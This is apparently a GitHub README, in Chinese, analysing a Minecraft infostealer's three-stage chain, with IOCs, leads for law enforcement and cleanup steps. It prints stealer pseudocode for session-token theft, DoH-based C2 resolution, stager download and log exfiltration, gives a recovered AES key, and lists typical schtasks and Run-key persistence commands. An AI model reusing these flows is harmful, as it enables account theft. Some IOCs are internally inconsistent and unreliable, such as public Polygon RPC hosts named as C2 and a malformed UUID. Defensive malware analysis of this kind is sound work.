digitalforensik6/silentnet-defender

GitHub: digitalforensik6/silentnet-defender

对 silentnet.st Minecraft 信息窃取恶意软件的深度逆向分析报告,包含三阶段感染链拆解、23 条 IOC、检测规则及运营者链上追踪信息,供安全研究与执法归因使用。

Stars: 0 | Forks: 0

# silentnet-defender — 恶意软件分析报告 [![License: MIT](https://img.shields.io/badge/License-MIT-emerald.svg)](LICENSE) [![Type: Malware RE Report](https://img.shields.io/badge/type-Malware%20RE%20Report-red.svg)](#) [![Stage 1: Launcher.exe](https://img.shields.io/badge/Stage%201-Launcher.exe-9c9c9c.svg)](#-stage-1--launcherexe-rust-loader) [![Stage 2: mod.jar](https://img.shields.io/badge/Stage%202-mod.jar-f34b7d.svg)](#-stage-2--modjar-java-fabric-mod) [![Stage 3: main.py](https://img.shields.io/badge/Stage%203-main.py-amber.svg)](#-stage-3--mainpy-python-stager-not-analyzed) [![IOCs: 23](https://img.shields.io/badge/IOCs-23-red.svg)](docs/IOCs.md) [![Status: Public](https://img.shields.io/badge/status-Public-emerald.svg)](#) ## 🚔 致执法部门 / 当局 本仓库是一份针对活跃的盗取 Minecraft 玩家信息的恶意软件活动的**公开逆向工程分析**。运营者通过 `silentnet.st` 以免费 Minecraft mod 为伪装来分发该恶意软件。用于归因和起诉的关键发现如下: ### 运营者钱包地址(Ethereum/Polygon — 可在链上追踪) ``` 0x9c0a507300fd902787bb193d80fca5ce6e1bff9a ``` 此地址在**每次感染**中均被硬编码——运营者如果不重新构建并重新分发恶意软件,就无法更改它。每笔交易都是公开可见的: - **Polygonscan:** https://polygonscan.com/address/0x9c0a507300fd902787bb193d80fca5ce6e1bff9a - **Etherscan:** https://etherscan.io/address/0x9c0a507300fd902787bb193d80fca5ce6e1bff9a **传票目标:** 1. **加密货币交易所**(接收过来自此地址资金的 Binance、Coinbase、Kraken、OKX、Bybit 等)——要求提供收款账户的 KYC 信息。使用 Chainalysis / TRM Labs / Elliptic 追踪套现流向。 2. **DDoS-Guard**(`silentnet.st` 的 CDN/边缘服务提供商)——要求提供 `silentnet.st` 运营者的账户和支付信息。 3. C2 主机的**域名注册商**(大多数是被滥用作传输通道的合法 Polygon RPC 端点——重点关注 `silentnet.st` 本身以及任何手动注册的域名)。 4. **ImprovMX**(`silentnet.st` 的邮件转发商)——要求提供账户信息。 ### 硬编码的会话 UUID ``` 6f4dbce8-1901-5bedcd758eac ``` 每次感染中的值均相同。在 C2 的 HTTP 标头/Cookie 中用作会话标识符。与 C2 服务器日志(如已查扣)进行比对以归因感染源。 ### C2 基础设施(通过 Handshake 域名解析) C2 主机名在**运行时通过 Handshake 域名**(HNS — Handshake Naming System)进行解析,绕过了标准的操作系统 DNS 解析器。Cloudflare DoH 端点(`cloudflare-dns.com`, `1.1.1.1`)是 Handshake 查询的**传输通道**,而不是解析机制本身。实际的 `.eth`/`.hns` Handshake 域名以加密形式硬编码在 `ahf_lzk.java` 中,目前尚未被还原。 | 主机名 | 角色 | |---|---| | `polygon-rpc.com` | 主 C2 | | `polygon.drpc.org` | 备用 C2 | | `polygon-bor-rpc.publicnode.com` | 备用 C2 | | `rpc-mainnet.matic.network` | 备用 C2 | | `polygon.llnodes.net` | 备用 C2 | | `1rpc.io/matic` | 备用 C2 | | `llamarpc.com` | 备用 C2 | ### 报告 如果您是受害者或有更多信息: - **德国:** [BKA-ZIT](https://www.bka.de/DE/IhreSicherheit/Verbraucherprevention/Onlinestrategien/Cybercrime/cybercrime_node.html) — Bundeskriminalamt, Zentralstelle für Informationstechnik im Verbund - **美国:** [FBI IC3](https://www.ic3.gov/) — Internet Crime Complaint Center - **英国:** [Action Fraud](https://www.actionfraud.police.uk/) - **欧盟:** [Europol EC3](https://www.europol.europa.eu/about-europol/european-cybercrime-centre-ec3) 如果您有 `main.py`(阶段 3,在运行时下载)的样本,请通过 [GitHub Issues](../../issues) 分享——使用密码 `infected` 进行 zip 压缩并上传至 [MalwareBazaar](https://bazaar.abuse.ch/),然后在此发布链接。 ## 📖 目录 - [致执法部门](#-for-law-enforcement--authorities) - [什么是 silentnet.st?](#-what-is-silentnetst) - [恶意软件阶段](#-malware-stages-quick-view) - [阶段 1:Launcher.exe](#-stage-1--launcherexe-rust-loader) - [阶段 2:mod.jar](#-stage-2--modjar-java-fabric-mod) - [阶段 3:main.py](#-stage-3--mainpy-python-stager-not-analyzed) - [IOC 一览](#-iocs-at-a-glance) - [完整恶意软件分析](#-full-malware-analysis) - [持久化分析](#-persistence-analysis--what-launcherexe-does-not-do) - [源代码(参考)](#-source-code-reference) - [负责任的披露](#-responsible-disclosure--law-enforcement) - [许可证](#-license) ## 🦠 什么是 silentnet.st? `silentnet.st` 是一个以免费 Minecraft mod / 整合包为伪装,分发**信息窃取恶意软件**的网站。此感染链包含三个组件: | 组件 | 文件 | 角色 | |---|---|---| | **阶段 1 — Loader** | `Launcher.exe` | Rust 编译的 Windows x64 二进制文件。使用原生 `WS2_32` socket,通过 `Crypt32` 枚举系统证书存储,并在 classpath 中带上 `mod.jar` 启动 `javaw.exe`。 | | **阶段 2 — Mod / Beacon** | `mod.jar` | Java 21 Minecraft Fabric mod。窃取 Minecraft 会话(用户名、UUID、访问 token),通过 Handshake 域名解析 C2,并 POST 到伪装成 Polygon-RPC 的 C2 端点。 | | **阶段 3 — Stager** | `main.py`(运行时下载) | 通过 HTTPS 从 C2 获取的 Python 脚本。可能执行实际的浏览器 Cookie / 钱包窃取操作。**在本仓库中未被分析**,因为它是动态获取的——我们只拥有获取它的 loader。 | **窃取内容(从逆向工程中还原):** - Minecraft 用户名 + UUID + 会话访问 token(使攻击者无需密码即可获得完整的账户访问权限) - Minecraft `latest.log` 文件(可能包含聊天记录、服务器 IP、会话信息) - 可能还有浏览器 Cookie / 已保存密码 / 加密钱包——由阶段 3 的 Python stager 负责处理(此处未作分析) **通信方式:** - **C2 传输:** HTTPS POST 到 7 个伪装成 Polygon-RPC 的主机名之一(`polygon-rpc.com`, `polygon.drpc.org`, `polygon-bor-rpc.publicnode.com`, …)。 - **DNS 解析:** C2 主机名通过 **Handshake 域名**(HNS — Handshake Naming System)解析。该窃取软件查询支持 Handshake 的 DoH 解析器(观察到:使用 `cloudflare-dns.com/dns-query?dns=` 及 `1.1.1.1/dns-query?dns=` 作为备用传输),以解析映射到实际 C2 IP 的 `.eth`/`.hns` 风格的 Handshake 域名。Handshake 域名本身在字节码中以加密形式硬编码(尚未还原)。这**完全绕过了操作系统的 DNS 解析器**——Pi-hole、NextDNS、企业 DNS 日志记录和路由器 DNS 黑名单在面对它时都形同虚设。 - **TLS:** 自定义 Java `SSLSocket` 客户端,带有 **null `X509TrustManager`**——接受任何证书,甚至是自签名证书。完全避免使用 `HttpURLConnection` 和 OkHttp;不使用代理设置,也没有标准的 user-agent。 - **加密:** 使用 AES(通过 `javax.crypto.Cipher`)解密下载的阶段 3 的 stager。 ## 🧬 恶意软件阶段(快速预览) ``` ┌──────────────────────────────────────────────────────────────────────────────┐ │ INFECTION CHAIN │ └──────────────────────────────────────────────────────────────────────────────┘ [Victim downloads "free mod" from forum/Discord] │ ▼ ┌──────────────────────────────────────────────────────────────────────────────┐ │ STAGE 1: Launcher.exe (Rust, 1.1 MB) │ │ ───────────────────────────────────────────────────────────────────────── │ │ • Uses raw WS2_32 sockets (no WinHTTP) │ │ • Enumerates system certificate store via Crypt32 (likely for pinning bypass)│ │ • Calls CreateProcessW("javaw.exe -cp mod.jar -restarted --env ... │ │ --mcInfo --prefireId ") │ │ • Writes _spawn.log to %LOCALAPPDATA% │ │ • NO persistence (run-once loader — see persistence analysis below) │ └──────────────────────────────────────────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────────────────────────────────────────┐ │ STAGE 2: mod.jar (Java 21 Fabric mod, 86 KB, 4 obfuscated classes) │ │ ───────────────────────────────────────────────────────────────────────── │ │ Fabric entrypoint lpofmCyyJlAk.onInitialize() spawns a background thread: │ │ │ │ 1. Read Minecraft session: │ │ class_320 session = MinecraftClient.getInstance().getSession(); │ │ username = session.getUsername(); │ │ uuid = session.getUuid(); │ │ token = session.getSessionUuid(); // ← access token │ │ │ │ 2. Resolve C2 via Handshake domain (gGfuKbYTQc.RMCEkzikFw): │ │ - Query Handshake-aware resolver for the .eth/.hns C2 domain │ │ - Fallback DoH transport: cloudflare-dns.com/dns-query?dns= │ │ OR 1.1.1.1/dns-query?dns= (direct IP, can't be DNS-blocked) │ │ - Parse response, extract A record IP │ │ - Cache IP for Kmxbl ms │ │ → bypasses OS DNS resolver, Pi-hole, NextDNS, router blocklists │ │ │ │ 3. POST registration to C2 (ahf_lzk class): │ │ POST https:///shard/prefireMc │ │ Content-Type: application/json │ │ X-Runtime-Env: jre-embedded │ │ x-cdn-origin-verify: │ │ { │ │ "mcInfo": "", │ │ "prefireId": "", │ │ "userId": "", │ │ "tag": "", │ │ "domain": "", │ │ "gameDir": "", │ │ "mcUuid": "", │ │ "env": "Fabric" │ │ } │ │ │ │ 4. C2 responds with a payload URL. Stealer downloads + AES-decrypts: │ │ GET https:///cdn/e/3b8f6d2a9c1e... │ │ → main.py (Stage 3 Python stager) │ │ → jre-embedded (portable JRE so it doesn't need Java installed) │ │ │ │ 5. Spawn Stage 3: │ │ python.exe main.py --env --mcInfo --prefireId │ │ → writes _stealer.log │ │ │ │ 6. Exfiltrate Minecraft log: │ │ POST https:///shard/submitMinecraftLog │ │ { │ │ "userId": "", │ │ "filename": "combined.log", │ │ "mcUsername": "", │ │ "mcUuid": "", │ │ "executionEnv": "" │ │ } │ └──────────────────────────────────────────────────────────────────────────────┘ │ ▼ ┌──────────────────────────────────────────────────────────────────────────────┐ │ STAGE 3: main.py (Python, downloaded at runtime — NOT analyzed here) │ │ ───────────────────────────────────────────────────────────────────────── │ │ • Likely performs the actual browser-cookie / wallet theft │ │ • Runs inside the portable JRE so it doesn't depend on the user's Python │ │ • We don't have a sample of main.py — only the Stage 1/2 code that fetches │ │ it. If you have a sample, please submit it via GitHub Issues. │ └──────────────────────────────────────────────────────────────────────────────┘ ``` 有关完整的技术分析(包括反编译的 Java 代码片段、字节级的 Handshake 解析协议分解、数据外发 payload 以及解密密钥还原),请参阅 **[docs/MALWARE_ANALYSIS.md](docs/MALWARE_ANALYSIS.md)**。 ## 🧩 阶段 1 : Launcher.exe (Rust loader) ### 静态属性 | 属性 | 值 | |---|---| | 文件大小 | 1,138,688 B (1.1 MB) | | 格式 | PE32+ (x64), Windows GUI 子系统 | | 编译器 | Rust (stable) + MinGW LLVM linker | | 节区 | `.text`, `.rdata`, `.data`, `.pdata`, `.CRT`, `.tls`, `.reloc` | | 导入表 | `ntdll.dll` (10 fns), `KERNEL32.dll` (24 fns), `ADVAPI32.dll` (4 fns), `CRYPT32.dll` (3 fns), `WS2_32.dll` (7 fns) | | 入口点 | `0x140001000` | ### 导入函数(重要部分) - **`ntdll.dll`:** `NtClose`, `NtCreateFile`, `NtDeviceIoControlFile`, `NtLockFile`, `NtQueryObject`, `NtSetInformationFile`, `RtlEqualUnicodeString`, `RtlExitUserProcess`, `RtlGetFullPathName_U`, `RtlWaitOnAddress` - **`KERNEL32.dll`:** `CreateProcessW`, `GetExitCodeProcess`, `WaitForSingleObject`, `VirtualAlloc`, `VirtualFree`, `GetDiskFreeSpaceExW`, `GlobalMemoryStatusEx`, `GetSystemInfo`, `SetEnvironmentVariableA`, `GetFileAttributesW`, `MoveFileW`, `ReadFile`, `WriteFile` - **`ADVAPI32.dll`:** `RegOpenKeyExA`, `RegQueryValueExA`, `RegCloseKey`, `SystemFunction036` (= `RtlGenRandom`) - **`CRYPT32.dll`:** `CertOpenSystemStoreW`, `CertEnumCertificatesInStore`, `CertCloseStore` - **`WS2_32.dll`:** `WSAStartup`, `WSASocketW`, `connect`, `getaddrinfo`, `freeaddrinfo`, `closesocket`, `WSAGetLastError` ### 行为(还原分析) 1. 从 `HKLM\Hardware\Description\System\CentralProcessor\0` 读取 CPU 信息(指纹识别——该注册表路径在运行时经过了 XOR 解混淆) 2. 启动 `javaw.exe -cp mod.jar -restarted --env --mcInfo --prefireId ` 3. 通过 `MoveFileW` 移动文件(可能是为了解压便携版 JRE) 4. 通过 `SetEnvironmentVariableA` 设置 `java.home` 环境变量 5. 将 `_spawn.log` 写入 `%LOCALAPPDATA%` 6. 通过 `WS2_32` 打开原生 TCP socket(下载阶段 3 的 stager) 7. 通过 `Crypt32` 枚举系统证书存储(可能用于绕过 TLS pinning) 8. 通过 `ExitProcess` 退出 有关完整的反汇编层面的分析,请参阅 [docs/MALWARE_ANALYSIS.md §2](docs/MALWARE_ANALYSIS.md)。 ## 🧩 阶段 2 : mod.jar (Java Fabric mod) ### 静态属性 | 属性 | 值 | |---|---| | 文件大小 | 86,724 B (压缩后) / 118,093 B (解压后) | | 格式 | JAR (ZIP) | | Java 版本 | 21+ (根据 `fabric.mod.json` `"java": ">=21"`) | | Fabric Loader | 0.18.4+ | | Minecraft 版本 | 1.21.11 (根据清单文件) | | 混淆器 | 自定义 — XOR 字符串混淆 + 无用的垃圾分支 + 随机类名 | ### 混淆的类名 | 类 | 角色 | |---|---| | `com.github.lpofmCyyJlAk` | Fabric 入口点 — `onInitialize()` 启动窃取程序线程 | | `com.github.gGfuKbYTQc` | HTTP 客户端 + Handshake 域名解析器(`RMCEkzikFw` 方法) | | `com.github.ahf_lzk` | C2 调度器 — 构建注册 JSON,下载并 AES 解密阶段 3 | | `com.github.CJcoV` | Launcher 辅助类(在 MANIFEST.MF 的 `Main-Class` 中被引用) | ### 混淆方案 所有 178 个字符串字量都被编码为带长度前缀的循环 XOR 数据块: ``` [1 byte: key length N] [N bytes: key] [rest: ciphertext, XORed cyclically with key] ``` 使用 `decoded[i] = cipher[i] ^ key[i % N]` 解码。钱包地址被拆分成 **3 个独立的数据块**,并通过 `StringBuilder.append()` 进行拼接: | 数据块 | 解码后 | 十六进制字符数 | |---|---|---| | 1 | `0x9c0a507300fd` | 12 | | 2 | `902787bb193d80f` | 15 | | 3 | `ca5ce6e1bff9a` | 13 | | **总计** | **`0x9c0a507300fd902787bb193d80fca5ce6e1bff9a`** | **40** | 有关完整的逐类详细分解,请参阅 [docs/MALWARE_ANALYSIS.md §3](docs/MALWARE_ANALYSIS.md)。 ## 🧩 阶段 3 : main.py (Python stager,未分析) 阶段 3 在运行时从 `https:///cdn/e/3b8f6d2a9c1e...` 下载。响应数据经过 AES 加密,并使用密钥 `dK9mT3nR7xQ2L8wF4j"6yB1cN5gA`(从字节码中还原)在客户端进行解密。 我们**没有** `main.py` 的样本。如果您获取到了样本,请通过 [GitHub Issues](../../issues) 分享(使用密码 `infected` 进行 zip 压缩,上传至 [MalwareBazaar](https://bazaar.abuse.ch/),并在此发布链接)。 ## 🎯 IOC 一览 ### C2 端点(HTTPS,端口 443)— 通过 Handshake 域名解析 | 主机名 | 角色 | |---|---| | `polygon-rpc.com` | 主 C2 | | `polygon.drpc.org` | 备用 C2 | | `polygon-bor-rpc.publicnode.com` | 备用 C2 | | `rpc-mainnet.matic.network` | 备用 C2 | | `polygon.llnodes.net` | 备用 C2 | | `1rpc.io/matic` | 备用 C2 | | `llamarpc.com` | 备用 C2 | ### C2 API 路径 | 路径 | 方法 | 用途 | |---|---|---| | `/shard/prefireMc` | POST | 初始受害者 check-in(发送会话 + gameDir) | | `/shard/submitMinecraftLog` | POST | 窃取 Minecraft `latest.log` 文件 | | `/cdn/e/3b8f6d2a9c1e...` | GET | 阶段 3 stager 下载(AES 加密的 `main.py` + 便携版 JRE) | ### Handshake 域名解析器(绕过 DNS) | 端点 | 用途 | |---|---| | `https://cloudflare-dns.com/dns-query?dns=` | 支持 Handshake 的 DoH 解析器(HNS 查询的传输通道) | | `https://1.1.1.1/dns-query?dns=` | DoH 直接 IP 备用(无法通过 DNS 屏蔽) | ### 硬编码的标识符 | 标识符 | 类型 | 出现位置 | |---|---|---| | `0x9c0a507300fd902787bb193d80fca5ce6e1bff9a` | Ethereum 钱包地址 | 硬编码在 `ahf_lzk.java` 中(C2 调度器)。用作运营者的身份标识 / 支付地址。**可在 Polygonscan 上追踪。** | | `6f4dbce8-1901-5bedcd758eac` | 会话 UUID v4 | 硬编码在 `ahf_lzk.java` 中。在 HTTP 标头 / Cookie 中用于 C2 身份验证。 | | `dK9mT3nR7xQ2L8wF4j"6yB1cN5gA` | AES 解密密钥 | 被 `ahf_lzk` 用于 AES 解密下载的 `main.py` 和 `jre-embedded`。 | ### 运行时产物(取证) | 文件 | 位置 | 用途 | |---|---|---| | `_spawn.log` | `%LOCALAPPDATA%\` 或游戏目录 | 阶段 1 launcher 日志 | | `_stealer.log` | `%LOCALAPPDATA%\` 或游戏目录 | 阶段 2 窃取程序运行时日志 | | `latest.log` | `/logs/` | Minecraft 客户端日志 — 被外发至 C2 | | `main.py` | `%LOCALAPPDATA%\...\` | 阶段 3 Python stager(已下载) | | `jre-embedded/` | `%LOCALAPPDATA%\...\` | 便携版 JRE(已下载) | ### 进程派生特征 | 进程 | 命令行特征 | |---|---| | `Launcher.exe` | (派生 `javaw.exe`) | | `javaw.exe` | `-cp -restarted --env --mcInfo --prefireId ` | | `python.exe` | `main.py --env --mcInfo --prefireId ` | ## 📚 完整恶意软件分析 完整的逆向工程报告——包括反编译的 Java 源码片段、字节级的 Handshake 解析协议分解、AES 密钥还原方法、阶段 3 下载机制以及检测特征——位于: ➡️ **[docs/MALWARE_ANALYSIS.md](docs/MALWARE_ANALYSIS.md)** ### 检测规则 - **YARA 规则**(端点):[docs/YARA_RULES.yar](docs/YARA_RULES.yar) — 检测 `Launcher.exe`(Rust TLS 字符串 + ntdll 导入)和 `mod.jar`(Fabric 清单 + 混淆的类名 + Handshake 解析字符串)。 - **Snort / Suricata 规则**(网络):[docs/SNORT_RULES.conf](docs/SNORT_RULES.conf) — 检测来自非浏览器进程发往 `cloudflare-dns.com` 的 Handshake 解析流量,以及匹配 C2 路径的流量。 ## 🔍 持久化分析 — `Launcher.exe` 没有做的事 一个常见的问题是:*“如果我被感染了,恶意软件隐藏在哪里?”* 我们逐条反汇编了 `Launcher.exe`(阶段 1,Rust loader)的指令,并确认了它使用了以及未使用的持久化机制。 ### `Launcher.exe` 未包含的导入函数 | 机制 | 所需 API | 是否存在? | |---|---|---| | 注册表写入(自启动) | `RegSetValueExA`, `RegCreateKeyExA` | ❌ 未导入 | | 创建 Windows 服务 | `CreateService`, `OpenSCManager` | ❌ 未导入 | | 计划任务(COM) | `CoCreateInstance` + `ITaskService` | ❌ 未导入 | | 计划任务(CLI) | `schtasks.exe` 字符串 | ❌ 不在任何字符串中 | | WMI 订阅 | `WbemScripting.SWbemLocator` | ❌ 未导入 | | 启动文件夹写入 | Shell-API 调用 | ❌ 未导入 | ### `Launcher.exe` 实际做了什么 | API 调用 | 用途 | |---|---| | `RegOpenKeyExA(HKLM, "HARDWARE\DESCRIPTION\System\CentralProcessor\0")` | 读取 CPU 名称(指纹识别,非持久化) | | `CreateProcessW("javaw.exe -cp mod.jar ...")` × 2 | 派生阶段 2(带有恶意 mod 的 JVM) | | `MoveFileW(...)` × 1 | 可能是将下载的便携版 JRE 移动到位 | | `SetEnvironmentVariableA` × 2 | 在派生 JVM 之前设置 `java.home` 等 | | `WriteFile` | 写入 `_spawn.log`(其自身的运行时日志) | | `ReadFile` | 读取下载的 payload | | `WSAStartup` + `WSASocketW` + `connect` | 打开原生 TCP socket(下载阶段 3 的 stager) | | `CertOpenSystemStoreW` + `CertEnumCertificatesInStore` | 枚举系统证书存储(可能用于绕过 TLS pinning) | ### 持久化实际上位于何处 `Launcher.exe` 本身是一个**一次性 loader**——它本身并不会进行持久化安装。持久化来自于以下两个地方: 1. **`mod.jar` 留在 `.minecraft\mods\` 中**——每次受害者启动 Minecraft 时,Fabric loader 都会加载该 mod,然后窃取程序就会再次运行。这是通过合法的 mod 加载机制实现的“文件持久化”。要清除它:请从 mods 文件夹中删除 `mod.jar`。 2. **阶段 3 (`main.py`) 可能会安装真正的 Windows 持久化**——当 `Launcher.exe` 从 C2 下载 `main.py` 并派生 `python.exe main.py` 时,Python stager 有权访问 `subprocess.run()`、`os.system()`、`winreg`、`shutil` 等。我们没有 `main.py` 样本来确认这一点,但典型的 Python 窃取程序的持久化方式会是: - `subprocess.run('schtasks /create /tn "JavaUpdate" /tr "python.exe main.py" /sc onlogon')` — 登录时的计划任务 - `winreg.SetValueEx(HKCU\...\Run, "JavaUpdate", "pythonw.exe main.py")` — 注册表 Run 键 - 在 `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\` 中释放一个 `.lnk` — 启动文件夹 ## 💻 源代码(参考) `src/` 目录包含我们在分析期间编写的 IOC 扫描程序的**参考实现**。它是一个零导入的 Windows x64 EXE,使用直接系统调用(Hells Gate)扫描正在运行的进程、注册表自启动键以及文件系统持久化位置,以查找本仓库中记录的 IOC。 有关设计原理和系统调用列表,请参阅 [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md)。 ## 🚔 负责任的披露与执法部门 ### 致受害者 如果您运行了 `Launcher.exe` / `mod.jar`: 1. **立即更改您的 Microsoft / Minecraft 密码。** 如果您尚未启用,请开启双重认证(2FA)。 2. 在 https://account.microsoft.com/security **撤销所有活跃的会话** 3. **删除** `%LOCALAPPDATA%\_spawn.log`、`%LOCALAPPDATA%\_stealer.log`、`%LOCALAPPDATA%\jre-embedded\` 以及您 Minecraft `mods/` 文件夹中的 `mod.jar`。 4. 使用 Microsoft Defender(或您首选的杀毒软件)**进行一次全面扫描**。 5. **检查您的浏览器已保存密码**和加密钱包——阶段 3 的 Python stager 很可能也窃取了这些内容。轮换任何您不确定的凭据。 ### 致执法部门 请参阅本 README 顶部的 [**致执法部门**](#-for-law-enforcement--authorities) 部分,获取完整的线索摘要(钱包地址、会话 UUID、C2 基础设施、传票目标)。 ### 报告 如果您有: - `main.py`(阶段 3)的样本——请通过 GitHub Issues 分享(zip 压缩并加密码保护,密码 = `infected`)。 - 新的 IOC(额外的 C2 主机名、路径、标识符)——请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。 - 关于运营者的信息——请联系当地执法机构的网络犯罪部门。 ## 📄 许可证 MIT — 详见 [LICENSE](LICENSE)。 IOC 列表、YARA 规则和 Snort 规则属于公有领域(CC0)——您可以随意将它们复制到您的 EDR / SIEM / 防火墙配置中,无需注明出处。 **恶意软件样本本身(`Launcher.exe`、`mod.jar`、`main.py`)不受本仓库中任何许可证的保护**——它们并未被包含在内。如果您通过其他渠道获取了样本,您有责任根据当地法律对其进行处理。 ## 🙏 致谢 - **CFR** Java 反编译器 — 用于反编译 `mod.jar`。https://github.com/leibnitz27/cfr - **llvm-mingw** 工具链 — 用于交叉编译参考扫描程序。https://github.com/mstorsjo/llvm-mingw - **Polygonscan** — 公开的 Polygon 区块链浏览器,验证钱包地址是否处于活跃状态。 - **Hells Gate / Halo's Gate** — 参考扫描程序使用的公开 SSN 解析技术。 ### ⚖️ 伦理使用 本项目是一份**防御性安全研究 / 恶意软件分析报告**。使用它来: - ✅ 检测和清理您自己系统上的感染 - ✅ 向安全社区贡献 IOC - ✅ 协助执法部门归因恶意软件运营者 - ✅ 学习恶意软件内部原理和防御技术 **请勿**将其用于: - ❌ 分发恶意软件样本(我们没有,您也不应该) - ❌ 攻击不属于您的系统 - ❌ 在此分析基础上构建攻击性工具
标签:DAST, DNS 反向解析, IP 地址批量处理, JS文件枚举, 云资产清单, 入侵指标, 可视化界面, 威胁情报, 开发者工具, 恶意软件分析, 网络信息收集, 规则检测, 逆向工具, 逆向工程